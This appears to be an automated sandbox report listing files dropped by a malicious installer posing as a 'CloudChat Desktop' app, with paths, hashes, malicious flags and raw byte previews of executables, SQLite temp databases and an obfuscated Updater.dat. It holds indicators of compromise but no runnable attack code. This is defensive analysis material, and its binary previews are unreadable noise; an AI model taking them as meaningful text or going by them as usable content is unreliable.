SHA-512:	ACEA9B77078D423C003300A78682BA5E1EF688AAC97B91E58E6FD9F3049C62CABF1F2E9D704E111EAF595CD2B16ABEC1E88FD40F426290640A1A913EE98C7A8E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................J............................B.....................[...B......B......B......Rich....................PE..d......d.........." ................X........................................P............`.........................................`................0..\....................@..H....\|..T...........................P}..8............ .. ............................text............................... ..`.rdata..l.... ......................@..@.data....-.......(..................@....pdata..............................@..@.rsrc...\....0......................@..@.reloc..H....@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r0s4m5y5.5km.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ulbepvej.vef.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp

Download File

Process:	C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3392000
Entropy (8bit):	6.548051905437326
Encrypted:	false
SSDEEP:	49152:6dJYVM+9JtzZWnoS2VC23aun8+f5KuG2OY9IG9ivyv2cLx1RQD333K6d:MJYVM+LtVt3P/KuG2ONG9iqLRQD333r
MD5:	883D1E41D100F16B16231599B49E286B
SHA1:	D005FBA5539322113763E8C57B01D43FBFE385CD
SHA-256:	EE8B708F230845DA7D2510B2B562F04DD27FFAE8CEA03C04259E55569530BB6E
SHA-512:	0F718093EE2D9AED19E4903184906603A6B12C7A30A264234E541CB3D2005EC82BEFAA94E69BC9C2F34C5CD85B4C4D86CD1982E5E74CDD84294FAC679152A143
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@...........................4...........@......@...................P,.n.....,.j:...P0.,<....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...,<...P0..>..../.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-L4TEK.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6E83.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6FEB.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp727D.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp72BC.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp730B.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp731C.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp733C.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp74E3.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	51122176
Entropy (8bit):	7.272281372538513
Encrypted:	false
SSDEEP:	786432:c44MGRJO/7bVvJ4mGZm8C6cnhUzSrgUcThFoov:c44VRJO/7bVvJdGZE6cnhU
MD5:	F6D1635745FAE66AC9AC4D3DC5E9C604
SHA1:	B4050BC434F85A46115962966373E0B185E10A55
SHA-256:	7DA1D96759BF9FD3834AE222C6824E001ED4B1A67E0FD38857CDA59AB9D4E8C1
SHA-512:	B02CCDC7EDF4D0155B1F1CDA19BF1447FD71AAC82D844A10696E8D7FF96E2C4367335B4C914B4B34931D96F62270218FD224BD1B7A08FA0BD4218A9715E6F241
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................@...........!..L.!This program cannot be run in DOS mode....$.......Vj..............wm..-...wm..............@c..<...@c......@c..:.......#....b.......b.......b..=...wm......wm......wm......wm..........p....b.......b.......b$.......L......b......Rich............PE..L...Xx.b.................`............o...........@..........................@?...........@.............................l...,...,....P'.`.....................)......@..T....................A......(A..@...............L............................text....D.......D.................. ..`.rodata......`.......H.............. ..`.rdata....J.......J..d..............@..@.data.....O.. ......................@....qtmetad8.... '.....................@..P_RDATA.......0'.. ..................@..@.rsrc...`....P'......&..............@..@.reloc........)..0..................@..B................................................................................................................

C:\Users\user\AppData\Roaming\CloudChat Desktop\Updater.dat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp
File Type:	data
Category:	dropped
Size (bytes):	824832
Entropy (8bit):	7.107047640319829
Encrypted:	false
SSDEEP:	24576:E/1nImhhJ4NLmOx4SQKEsZT/XoXWENW+Zr:E9BA2foIWr+Zr
MD5:	2F2A4237CE177AD48BC8A143660E6E79
SHA1:	89991B12CC46B750F1CFC7FD6D39CCB0E61C1250
SHA-256:	A2A024A888CE2F377D6BC7749C97234EA7A9A6858DE27F033CF56D679043ACF0
SHA-512:	C6EA475C735DD3FE12055E745767E2469B1990701C59A4FE420C4DD73A8E3FE4B5B927238048CB7D0DCF349603959C1848906C16284C3BFC26197601B8CBE8AA
Malicious:	false
Preview:	>..chovevflo..ta.koverfl/wstackoverflowstackoverflowstackove.floyl.oc.f.D.g .V'...K.......W......V..F...S..C/ %E....Y~ykGkoverfl?2st-bho\|O..lowstack.vksmmiws.mckgverfloI.xacKove.jlow3taCkovgrfhowstackkverflowstlckmverflous4.ck.vebflowctaskoverf\|owstackover..cw$tack.ze.clowstackoverflowsta.gozerflowstackoverflowstackoverflowstackoverflowstackovErfdowstackovernLow;tackoverfloY....kov!.jloWsta.govgrflowstackoverFlo.]....ove.clow.xacmove.jlowstackoverf,ow3Z.....erjlows.mckmver.`owstackoverfl/ws6ackoverflowstackO.irflow;taciose..ko..qabkov>qfjOBut1pjoverflowstackoverflowstackoverflowstackovvBdlCwst`ck~tIUF..k.~wh@{tb..lo}u.A.jow?xa{7\|tv..ko\|W.`F.u[.acamu..fleuw..cket`..lo}qze..ovophi..stkIkov{p..owy^.a..vexLrm..taiAqt..fle]mv..ko\|OaVoo.staakogf.<lolyvgM.iZ.Z.lo}q..ckep..fle..taiG0^.rffm..taim..erl..ws~M$C.vexd..ws~g..ovo..lo}_[I.ko\|g..lo}u..cke..rffC`[.acam..rffi..tai..vexLzE`Ytach_ue.flowstaC.S5.Z.lo}q..cke..rff7WZ!4.1G.erln..stk..ovo*FE:"..I.ko\|g..lo}..aca7VL'3.5_.taii..erl..ws~9CB:#.(N.o

C:\Users\user\AppData\Roaming\CloudChat Desktop\Updater.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	119808
Entropy (8bit):	6.277650290536438
Encrypted:	false
SSDEEP:	3072:8tM3I4KYxvP9SK1FuSW3DNIP2kwmpyw0pEjw9p12lQp:8tcIZYxvlS0UViwPfwQp
MD5:	21CEBF74D4E96F5BEB7CF6492D997314
SHA1:	51D787612EB720BC51987203883E221F7B8DDFF6
SHA-256:	221E351B15B1D408C2382685B9A066C7D0234D6C3E5E6ED7FD972A60743634AC
SHA-512:	834FCFED9475242135F9948AED49E080B6B689B1B38877C4191C510D2C023EE13F63FB77602A301D463CB5AF44073A156E3A24DF8DF542235FE66F5F3523B2C0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......']..c<..c<..c<...Z..i<...Z...<..1T..r<..1T..r<..1T..D<...Z..w<...Z..b<...Z..n<..c<...<...U..b<...UF.b<..c<..b<...U..b<..Richc<..................PE..L....b.b.............................u.......@....@.......................................@.............................................................................T...............................@............@...............................text....-.......................... ..`.rdata...{...@...\|...2..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CloudChat Desktop\cdata\D877F783D5D3EF8C0

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	data
Category:	dropped
Size (bytes):	332
Entropy (8bit):	7.298724428332462
Encrypted:	false
SSDEEP:	6:OV5mxpWBrXveOUCKFtS6hDtMh4dToyDMe0R4Zj4C8Xi5Zc/E/YQ5wJqqs:Oqx4h2OUHHSCt7Tos0rCfc6qs
MD5:	4BA46B5898DC3B0EBC89A0FAAA173094
SHA1:	53AF85C91D6292D9CAD9B0CD173C41ABCF384581
SHA-256:	C5206881B0B0B842DB1B99644484C56F1F9B6105884E35D2E79DCAA47C26BD79
SHA-512:	C52053D927AE0E5DB9905390325BB46148F21FB2D8E1434FFB002E1555B3E82EDB884192A2E793BD3C9D6B18131AC88ED9C2F02624143A945D829966C47E9DF1
Malicious:	false
Preview:	TDF$(......0.0..!..X_....Tjq..*>..Z..8ES.Y....0..[l...xd...[.p5....%.......@.2jF.^M'.Z....>...\|z<G.e.-._..@....6.??.$..v.#..%.:..aOK....4.K.+..6\|..h.9..N.....O^...d....HrE}.7....7Y..N...=H..j..1[.s.!.......t][.....K....Q..v.&.'.Wa.d.a.9.B...y.....#\|...A......K..#. ov.le.@!v@x..}&.+d..!5@[.6...x.y...\|Ue...N....j?.

C:\Users\user\AppData\Roaming\CloudChat Desktop\cdata\D877F783D5D3EF8C1

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	data
Category:	dropped
Size (bytes):	332
Entropy (8bit):	7.298724428332462
Encrypted:	false
SSDEEP:	6:OV5mxpWBrXveOUCKFtS6hDtMh4dToyDMe0R4Zj4C8Xi5Zc/E/YQ5wJqqs:Oqx4h2OUHHSCt7Tos0rCfc6qs
MD5:	4BA46B5898DC3B0EBC89A0FAAA173094
SHA1:	53AF85C91D6292D9CAD9B0CD173C41ABCF384581
SHA-256:	C5206881B0B0B842DB1B99644484C56F1F9B6105884E35D2E79DCAA47C26BD79
SHA-512:	C52053D927AE0E5DB9905390325BB46148F21FB2D8E1434FFB002E1555B3E82EDB884192A2E793BD3C9D6B18131AC88ED9C2F02624143A945D829966C47E9DF1
Malicious:	false
Preview:	TDF$(......0.0..!..X_....Tjq..*>..Z..8ES.Y....0..[l...xd...[.p5....%.......@.2jF.^M'.Z....>...\|z<G.e.-._..@....6.??.$..v.#..%.:..aOK....4.K.+..6\|..h.9..N.....O^...d....HrE}.7....7Y..N...=H..j..1[.s.!.......t][.....K....Q..v.&.'.Wa.d.a.9.B...y.....#\|...A......K..#. ov.le.@!v@x..}&.+d..!5@[.6...x.y...\|Ue...N....j?.

C:\Users\user\AppData\Roaming\CloudChat Desktop\cdata\D877F783D5D3EF8C\map0

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.425815985461946
Encrypted:	false
SSDEEP:	12:X1TOXMJ86v29HbPr19DFU017Wir9I54T3SQnHFgSv:FTiMdv29HbPr3F3SY9I6LSQnlh
MD5:	FA15A56F1F5A0F6F0557FDAF158738F1
SHA1:	81D1C9D69FAED4A1E99DCB52E343CEB47A4B494A
SHA-256:	422EDCFA014E8459D9A940F4D699926AEB0C635600C0620184E263746A217316
SHA-512:	0BD5B8F6BFFE6891D2C98C8532652DE927C1D3D9746C50C1B93FD9BEF49B90828DE7E7BE196A246489C15C8AFE8EACD50BE31840A7F5B98F2E57F0FC5A0BE285
Malicious:	false
Preview:	TDF$(...... .ck.JS.Cr......S.Q_..V.XD.k.<.E... .].........\..1..Q..S]xH..X...`>..j.d....}.....a' ......D...h%^...l.u..u.B.i.$.1./U...:....).Mv....U2.V......=v.s.r.kjI..C.>...-..........kR....l..K.<.?...,....{....\.i..d..RO..S.G....Y.....__..+,... ..I..ym!`s.fb...h........<...(z.3.^....)Zb...S...-.v.lK..U}....H..BU=.O3tx... =$.......DQ.~p....\^~...>..e.=.rY}..t.....)._a

C:\Users\user\AppData\Roaming\CloudChat Desktop\cdata\F52BD5F9617612C60

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	data
Category:	dropped
Size (bytes):	124460
Entropy (8bit):	7.998497733497391
Encrypted:	true
SSDEEP:	3072:Yv56CqVfVb/BeDYDdvyc+/FikBWFZQew/JC8k+d7D9SxHCRt6L:4sp/4DYhvryFKqC8k+dP9ST
MD5:	ACC42DBA9A39F5AA5729A080CCB5B479
SHA1:	2EC12F66B7E5103A795F38600B55BAE8A8712805
SHA-256:	5B29722BE7657A7282F93F38F0112CBFCBEC481A84A8484F055384DCE4DEC196
SHA-512:	3084A6B65C1EA9A746F98969FA3E9D25AFDDF7C681593D6A46EBA168867FF72E02ED16BE9805A9F747161B3B2157D92155DE0C76730FBE2596C00C60A1AA171E
Malicious:	false
Preview:	TDF$(........5.P'.$&s.]`.Sr!.iMf....7A./.AA..<R/..4.1-..p...C.a............Z(.....oE^".h...}.......... VWF............^F.<uI........\|...FZl/..U:)..u.i.:d{....ol}<.....D..."...7..u.utY.!.n..#Jp...4..L...;#.....AUV....-.v..,(#..I.l...y.......-O..<%.Ly.r..m....{#m.P.I....zE.~%.).1..T....3#w....C...4...A..d..........&%...Cv......52..Z}....2.y...5.5MO.....yC..<..j?..c.....'Qk...@rv.\|P....E.F.....-....+..7Q.R.3..5...>..!....y.(.......T=........eXC...2.:P..."..........^cN6.....p..........>.yQFA..a.w..7........N E..}......X.........\|'.....~.....v...j%.I..=.A..$........\|..w.....9.+-.."..0>.c.(NZ..8'.._..r....o.HK...+.b.`~.<.w.^.W..UU` ^.x...N_M...ik..+..J..m/...^.J..j.c..........x...(.r~.O.&.s.p..5..Q..P.Zy..F.j%m..[..F!..T...=r..wQ..e..AQ..... Ps.....f.v0.C.....\|A..j~...9z..:JO..O...p@.u.y~.I.f.......?V..bf..P<....>I.{./.*N+..1t....-..V.....Uh.8w.._l.q..0...r...>.A....!..8nN[....Sc..!..=t...R.(.......).@1..G...a.o..GC...p.j....u..C<N\|..+..

C:\Users\user\AppData\Roaming\CloudChat Desktop\cdata\emoji\cache_18_0

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	data
Category:	dropped
Size (bytes):	663600
Entropy (8bit):	5.59705635019482
Encrypted:	false
SSDEEP:	12288:mlqW5Qa5HNk0yGDpf1DQQ8LDxn3pgz7aDUmB:7QQsqlUHDh8LDgiDV
MD5:	D9FC11897ED653E500CF1B6082637751
SHA1:	8DB7B11F86BE412B6486A96C8FDD9DBCF41CB730
SHA-256:	2390F02D4FE87FB97A8D81FF5691BC558062BAAD4467FEB933E6C304BAC34F7B
SHA-512:	6599E0F79720293FEFDEAFC78C665B9C5F6EF64082E2F752FE23DC04488A24FDC7ABAF4B8FEBC27EC8497DCA964A8D343CA6B5C969597EE6EEC360D3C3A11BF1
Malicious:	false
Preview:	........@... .......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................#..=2..X=..jA..rB..r?..l6..[&..B....................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CloudChat Desktop\cdata\emoji\cache_18_1

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	data
Category:	dropped
Size (bytes):	663600
Entropy (8bit):	5.84608653130467
Encrypted:	false
SSDEEP:	12288:G8Z/BMHqY1RcoVdKp8lgyNNPL/sZAtm5PjTKt:XBMHqY12ofnlTbD/YAtm5Pj+t
MD5:	8B36097D96A6301A6DFDE8AE37BF4EDB
SHA1:	B27D91B31A6CD53C5E887B4B7294C21A836CA9F8
SHA-256:	54086707EEB182374D3B6786C1EAC4AB7D4F1C114EA6D6E5218D8C0A9DC50303
SHA-512:	5009714B4141E24685DBC5923E2521F2BF3844944E6786486055FA640E9B5CA5DE26F94EFFA2838B5F60DD424C9ED12D4D242498E2148EF821954F0F2E6B761B
Malicious:	false
Preview:	........@... ..............................T...T...............n...h...............................................T...T...............n...h............................................#&(.068.."%.....%)+. $&................................................."&(.169..#%.....%)+. $&................................................."&(.169..#%.....%)+. $&................................................."&(.169..#%.....%)+. $&................................................."&(.169..#%.....%)+. $&................................................."&(.169..#%.....%)+. $&................................................."&(.169..#%.....%)+. $&................................................."&(.169..#%.....%)+. $&................................................."&(.169..#%.....%)+. $&................................................."&(.169..#%.....%)+. $&................................................."&(.169..#%.....%)+. $&................................................."&(.169..#%.....%)+. $&.

C:\Users\user\AppData\Roaming\CloudChat Desktop\cdata\emoji\cache_18_2

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	data
Category:	dropped
Size (bytes):	663600
Entropy (8bit):	5.273017407892557
Encrypted:	false
SSDEEP:	6144:ZyplYJdqjXyJz6P9vvtTQaBXS9hcX306OkHcznImwGUjNHc2h/Frfg:ZyplYJuX6y9vVhAKdOb7INGUBg
MD5:	EECBC0E8BFCA9DC561F732561E0EA7E8
SHA1:	A247F4BCA121F2DC048F47413B762B7A20BDE4C8
SHA-256:	069A9796577E6C5DDC92A59B2CEC4969C8820F546A66F2E0364A2F867014F94C
SHA-512:	6CB5601BA82CC06681E7F7B19CF595B981B7FAE656B5347DA3C44A653EC71F8FDC1574B54B59F46444F215BDE6C0134C75805C5634294507FD2FFACAAB0D3DAF
Malicious:	false
Preview:	........@... ..................'."-7............4j}.C....$,B...........................................'..#7..............7..%F....B...........................................'...7..................'....B...........................................'...7.......................B...........................................................................................................................{........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CloudChat Desktop\cdata\emoji\cache_18_3

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	data
Category:	dropped
Size (bytes):	663600
Entropy (8bit):	5.967238663373612
Encrypted:	false
